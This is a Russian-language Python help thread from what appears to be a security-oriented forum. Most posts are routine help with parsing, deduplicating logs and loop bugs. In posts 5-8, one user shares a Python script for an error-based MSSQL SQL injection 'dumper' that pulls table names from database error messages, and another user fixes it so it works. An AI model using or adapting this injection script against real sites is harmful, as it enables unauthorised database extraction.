[Python] вопрос/ответ.

Discussion in 'Python' started by De-visible, 21 Jan 2009.

  1. TikTik

    TikTik Member

    Joined:
    20 Feb 2009
    Messages:
    241
    Likes Received:
    12
    Reputations:
    2
    поделитесь исходниками чтоб программно можно авторизоваться на сайте с помощью скрипта Python к примеру на томже Mail. только чтоб с коментариями пожалуйста
     
  2. Getty

    Getty Banned

    Joined:
    17 Jun 2010
    Messages:
    104
    Likes Received:
    1
    Reputations:
    0
    подскажите какую-нибудь библиотеку для шифрования или секьюрное key-value хранилище
     
  3. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    Getty pycrypto, pyrsa, aloaes. Первая под лицензией Public Domain, остальные - GPL
     
    _________________________
  4. Megido

    Megido New Member

    Joined:
    3 Jun 2010
    Messages:
    41
    Likes Received:
    1
    Reputations:
    0
    каким модулем можна разорвать соединение?
     
  5. iv.

    iv. Elder - Старейшина

    Joined:
    21 Mar 2007
    Messages:
    1,183
    Likes Received:
    438
    Reputations:
    107
    Хотел по-быстрому накропать дампер для MSSQL, но при выполнении запроса с инжектом выдается ошибка 500, хотя при вставле той ссылки в браузер - всё нормально. В чем тут проблема? :(

    Code:
    import re, urllib, urllib2
    	
    injLink = "http://www.site.com/script.asp?param=1%27%20or%201="
    errorRegex = re.compile("Syntaxfehler beim Konvertieren des nvarchar-Wertes '(.+?)' in eine Spalte vom Datentyp int")
    
    headers = {'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)'}
    link = injLink + urllib.quote("(SELECT TOP 1 table_name FROM information_schema.tables) --")
    print link
    req = urllib2.Request(link, None, headers)
    resp = urllib2.urlopen(req)
    table = re.findall(errorRegex, resp.read())
    print table
    
    Соотвественно на строчке req = urllib2.Request(link, None, headers) имеем:
     
  6. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    iv. 1) Заголовков много не бывает
    2) попробуйте вместо последнего знака равенства в урле писать %3D
    3) посмотрите wireshark'ом какие запросы на самом деле посылаются браузером. Тот же LiveHTTPHeaders имеет свойство врать
     
    _________________________
    1 person likes this.
  7. iv.

    iv. Elder - Старейшина

    Joined:
    21 Mar 2007
    Messages:
    1,183
    Likes Received:
    438
    Reputations:
    107
    Решил посмотреть сперва, что показывает LiveHTTPHeaders, и он показывает, что действительно имеет место быть 500 ошибка, только вот браузер получает содержимое страницы несмотря на неё, а сприпт нет.

    Встает вопрос можно ли как-то отключить в модуле реагирование на ошибки? А то ведь с сокетами не очень хочется иметь дело..
     
  8. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    iv. Errors should never pass silently. Unless explicitly silenced.
    Code:
    import re, urllib, urllib2
    	
    injLink = "http://www.site.com/script.asp?param=1%27%20or%201="
    errorRegex = re.compile("Syntaxfehler beim Konvertieren des nvarchar-Wertes '(.+?)' in eine Spalte vom Datentyp int")
    
    headers = {'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)'}
    link = injLink + urllib.quote("(SELECT TOP 1 table_name FROM information_schema.tables) --")
    print link
    req = urllib2.Request(link, None, headers)
    try:
    	resp = urllib2.urlopen(req)
    except urllib2.HTTPError, e:
    	resp = e
    table = re.findall(errorRegex, resp.read())
    print table
    
    
     
    _________________________
  9. Vaal

    Vaal New Member

    Joined:
    8 Jan 2010
    Messages:
    37
    Likes Received:
    2
    Reputations:
    0
    IndexError: string index out of range

    Это часть кода парсера, должна определяет входит ли определенная в точка в зону многоугольника
    данные в словари area_country, d, area_x, area_z - добавляются автоматически вовремя парсинга логов, тут указаны вручную
    Code:
    #!/usr/bin/python
    # -*- coding: UTF-8 -*-
    import glob, MySQLdb, time, re
    from configobj import ConfigObj
    
    def inArea(x, z, ax, az):
       c=0
       for i in range(len(ax)):
           if (((az[i]<=z and z<az[i-1]) or (az[i-1]<=z and z<az[i])) and \
               (x > (ax[i-1] - ax[i]) * (z - az[i]) / (az[i-1] - az[i]) + ax[i])): c = 1 - c    
       return c
       
    area_country = {}
    
    area_country['15360']='501'
    area_country['124928']='501'
    area_country['13312']='105'
    area_country['19456']='501'
    area_country['17408']='105'
    area_country['129024']='0'
    area_country['27648']='0'
    area_country['122880']='0'
    area_country['126976']='105'
    
    d ={}
    d["pos-x"]='29922.178'
    d["pos-z"]='30734.535'
    
    #area_x.update({d['aid'] : ax})
    #area_z.update({d['aid'] : az})
    
    area_x = {}
    
    area_x['15360']='(27963.0, 24298.0, 28409.0, 29784.0, 32941.0, 42717.0, 41692.0, 54988.0, 55002.0, 54989.0)'
    area_x['124928']='(25248.0, 27442.0, 27915.0, 35216.0, 41691.0, 42714.0, 32938.0, 29777.0, 28402.0, 24297.0, 23766.0)'
    area_x['13312']='(54996.0, 54969.0, 54988.0, 41692.0, 38751.0, 34648.0, 30690.0, 26752.0, 25229.0)'
    area_x['19456']='(24289.0, 27952.0, -5019.0, -4935.0, 11701.0, 13443.0, 19510.0)'
    area_x['17408']='(25219.0, 26741.0, 20298.0, 11701.0, -4935.0, -4995.0, -4988.0)'
    area_x['129024']='(24673.0, 25241.0, 23756.0, 24288.0, 19515.0, 13452.0, 11702.0, 23903.0, 23929.0)'
    area_x['27648']='(27480.0, 27860.0, 28391.0, 27431.0, 25248.0, 24682.0, 23932.0, 23875.0, 25482.0)'
    area_x['122880']='(30687.0, 34648.0, 38749.0, 41691.0, 35228.0, 27915.0, 28407.0, 27870.0, 27488.0, 26753.0)'
    area_x['126976']='(11702.0, 20288.0, 26726.0, 27483.0, 23867.0, 23903.0)'
    
    
    area_z = {}
    
    area_z['15360']='(54983.0, 39109.0, 37779.0, 34705.0, 31049.0, 38109.0, 26800.0, 24150.0, 39702.0, 54989.0)'
    area_z['124928']='(29122.0, 28304.0, 27667.0, 28386.0, 26800.0, 38103.0, 31048.0, 34701.0, 37772.0, 39099.0, 34735.0)'
    area_z['13312']='(-5022.0, 6022.0, 24147.0, 26799.0, 19110.0, 18498.0, 17271.0, 13429.0, -4962.0)'
    area_z['19456']='(39109.0, 54983.0, 54971.0, 26587.0, 24350.0, 31317.0, 37136.0)'
    area_z['17408']='(-4963.0, 13429.0, 14389.0, 24349.0, 26581.0, 11197.0, -5000.0)'
    area_z['129024']='(25766.0, 29118.0, 34735.0, 39099.0, 37129.0, 31310.0, 24350.0, 24448.0, 24989.0)'
    area_z['27648']='(22899.0, 25262.0, 27033.0, 28300.0, 29112.0, 25761.0, 24982.0, 23823.0, 23422.0)'
    area_z['122880']='(17280.0, 18508.0, 19118.0, 26799.0, 28368.0, 27667.0, 27043.0, 25261.0, 22891.0, 13445.0)'
    area_z['126976']='(24349.0, 14408.0, 13437.0, 22883.0, 23818.0, 24447.0)'
    
    
    captured = 0
    for area in area_country:
        print area, float(d['pos-x']), float(d['pos-z']), area_x[area], area_z[area]
        print type(d['pos-x']), type(d['pos-z']), type(area_x[area]), type(area_z[area])
        landed_area = (inArea(float(d['pos-x']), float(d['pos-z']), area_x[area], area_z[area]))
        print landed_area
        print area
        if landed_area == 1:
            break
            print "stop"
    получаю вот такую ошибку
    Code:
    Traceback (most recent call last):
      File "D:\Python!\PARSER-OTHER\trabl2.py", line 59, in <module>
        landed_area = (inArea(float(d['pos-x']), float(d['pos-z']), area_x[area], area_z[area]))
      File "D:\Python!\PARSER-OTHER\trabl2.py", line 9, in inArea
        if (((az[i]<=z and z<az[i-1]) or (az[i-1]<=z and z<az[i])) and \
    IndexError: string index out of range
    п.с. заметил что если здесь убрать кавычки ' при добавление нового элемента словаря - то скрипт выполнятся без ошибок, но тут элементы прописывается вручную...
     
    1 person likes this.
  10. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    Vaal в функцию вы отправлете строки а не кортежи. Уберите кавычки
     
    _________________________
  11. Vaal

    Vaal New Member

    Joined:
    8 Jan 2010
    Messages:
    37
    Likes Received:
    2
    Reputations:
    0
    Спасибо, вроде заработал как надо.
     
  12. Vaal

    Vaal New Member

    Joined:
    8 Jan 2010
    Messages:
    37
    Likes Received:
    2
    Reputations:
    0
    есть код удаляющий дубли строк в файле, сохраняя их последовательность
    Code:
    with open(file, 'r') as f:
            logfile = f.readlines()
            f.closed
    logfile_nodubl=[v for i,v in enumerate(logfile) if v not in logfile[:i]]
    with open(file, 'w') as f:
            for item in logfile_nodubl:
                f.write(item)
            f.closed
    например
    файл размером 2.7мб, 39187 строк
    после обработки 2.5мб, 36605 строк
    на квад 9500 обработка занимает 30 секунд, и все время выполнения проц загружен на 25%

    возможно как-то уменьшить нагрузку на проц?
     
  13. login999

    login999 Elder - Старейшина

    Joined:
    12 Jun 2008
    Messages:
    491
    Likes Received:
    280
    Reputations:
    92
    Gifts`у не смотреть.
    Меня запинают за такое обращение с БД.

    Code:
    import time
    import sqlite3
    
    def nd_write(in_file, out_file, encoding="cp1251"):
        print "nd_write function"
        print time.strftime("%X")
        connection = sqlite3.connect(":memory:")
        cursor = connection.cursor()
        cursor.execute('''create table temp (lines text unique)''')
        for line in open(in_file):
            try:
                cursor.execute("insert into temp (lines) values (?)", (line.strip().decode(encoding, "replace"), ))
            except sqlite3.IntegrityError:
                pass
        cursor.execute("select * from temp")
        with open(out_file, "w") as out:
            current_line = cursor.fetchone()
            while current_line:
                out.write(u"{0}\n".format(current_line[0]).encode(encoding, "replace"))
                current_line = cursor.fetchone()
        print time.strftime("%X")
    
    nd_write("temp.txt", "out.txt")
    
    Vaal, в функцию первым аргументом подаешь файл с логом, вторым аргументом - файл куда писать очищенное от дублей. Третий аргумент - кодировка файла с логом (нужно если в логе встречается кириллица).
    Работает на порядок шустрее и проц жрет меньше. Оперативки - приблизительно также как и твой вариант. Если необходимо обойтись без загрузки файла в оперативку, то можно это сделать, пожертвовав скоростью.
     
    1 person likes this.
  14. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    Vaal а мне понравилась реализация OrderedSet отсюда: http://code.activestate.com/recipes/576694/ На селероне 2.4ГГц, файл 130 метров (876к строк) очищается от дублей за 6 секунд:
    Code:
    import collections, time
    
    KEY, PREV, NEXT = range(3)
    
    class OrderedSet(collections.MutableSet):
    
        def __init__(self, iterable=None):
            self.end = end = [] 
            end += [None, end, end]         # sentinel node for doubly linked list
            self.map = {}                   # key --> [key, prev, next]
            if iterable is not None:
                self |= iterable
    
        def __len__(self):
            return len(self.map)
    
        def __contains__(self, key):
            return key in self.map
    
        def add(self, key):
            if key not in self.map:
                end = self.end
                curr = end[PREV]
                curr[NEXT] = end[PREV] = self.map[key] = [key, curr, end]
    
        def discard(self, key):
            if key in self.map:        
                key, prev, next = self.map.pop(key)
                prev[NEXT] = next
                next[PREV] = prev
    
        def __iter__(self):
            end = self.end
            curr = end[NEXT]
            while curr is not end:
                yield curr[KEY]
                curr = curr[NEXT]
    
        def __reversed__(self):
            end = self.end
            curr = end[PREV]
            while curr is not end:
                yield curr[KEY]
                curr = curr[PREV]
    
        def pop(self, last=True):
            if not self:
                raise KeyError('set is empty')
            key = next(reversed(self)) if last else next(iter(self))
            self.discard(key)
            return key
    
        def __repr__(self):
            if not self:
                return '%s()' % (self.__class__.__name__,)
            return '%s(%r)' % (self.__class__.__name__, list(self))
    
        def __eq__(self, other):
            if isinstance(other, OrderedSet):
                return len(self) == len(other) and list(self) == list(other)
            return not self.isdisjoint(other)
    
        def __del__(self):
            self.clear()                    # remove circular references
    
    
    print time.strftime("%X")
    f = open('dubl.txt','rb')
    txt = OrderedSet(f.readlines())
    f.close()
    
    print time.strftime("%X")
    
    f = open('out.txt','wb')
    f.writelines(txt)
    f.close()
    
    print time.strftime("%X")
     
    _________________________
    2 people like this.
  15. Vaal

    Vaal New Member

    Joined:
    8 Jan 2010
    Messages:
    37
    Likes Received:
    2
    Reputations:
    0
    оба варианта обработали мой лог не более чем за 1-2 секунды)) Большое спасибо! ))
     
  16. Vaal

    Vaal New Member

    Joined:
    8 Jan 2010
    Messages:
    37
    Likes Received:
    2
    Reputations:
    0
    снова я )) код проверяет закончилась ли миссия
    если да то в логе появится запись AType:7
    но если записи нет, а логов в папке больше чем от одной миссии, то удаляем текущею т.к. она была завершена на корректна без AType:7 и выходим из скрипта, он сам запускается заново батником

    проблема в том что ожидать окончания иногда нужно 4-5 часов, и уже неоднократно скрипт просто повисал на этом цикле
    т.е. запись AType:7 уже появилась и началась новая миссия, а он все ждет - висит
    Code:
        print "wait end mission"
        # проверка, закончилась ли миссия - наличие  AType:7 в логах
        misend = 0
        while misend == 0:
            outtxtlog = []
            outtxtlog2 = ''
            for txtfiles in glob.glob(path2game+'data/'+misreport+'*.txt'):
                for txtlogline in open(txtfiles):
                    outtxtlog.append(txtlogline)
            outtxtlog2 = "; ".join(outtxtlog)
            if 'AType:7' in outtxtlog2:
                print "AType:7 - Mission END"
                misend = 1
            elif ('AType:7' not in outtxtlog2) and (filemisreport_count > 1):
                lparserbat = open("lparser.bat", "w")
                print>>lparserbat, 'del "'+path2game+'data\\'+misreport+'*.*"'
                lparserbat.close()
                os.startfile(r'lparser.bat')
                time.sleep(2)
                sys.exit()
            time.sleep(5)
     
  17. login999

    login999 Elder - Старейшина

    Joined:
    12 Jun 2008
    Messages:
    491
    Likes Received:
    280
    Reputations:
    92
    http://dumpz.org/21198/
    ?
     
  18. Vaal

    Vaal New Member

    Joined:
    8 Jan 2010
    Messages:
    37
    Likes Received:
    2
    Reputations:
    0
    Спасибо!
    Сосбна я не программист как видишь, так ковыряюсь в силу своих способностей.
    Такой вопрос, это именно для "надежности" подобные циклы, даже небольшие делают функциями? или так "принято" в питоне?
     
  19. login999

    login999 Elder - Старейшина

    Joined:
    12 Jun 2008
    Messages:
    491
    Likes Received:
    280
    Reputations:
    92
    /me Тоже не программист.
    Не знаю, мне так удобнее ))).
    Привык разделять все на шаги.
    При разделении по функциям потом легко прикручивается многопоточность (^.^)
     
  20. Vaal

    Vaal New Member

    Joined:
    8 Jan 2010
    Messages:
    37
    Likes Received:
    2
    Reputations:
    0
    ясн
    кстати по потоками
    я не нашел никакой встроенное возможности остановить, убить поток
    плохо искал? или такой возможности нет?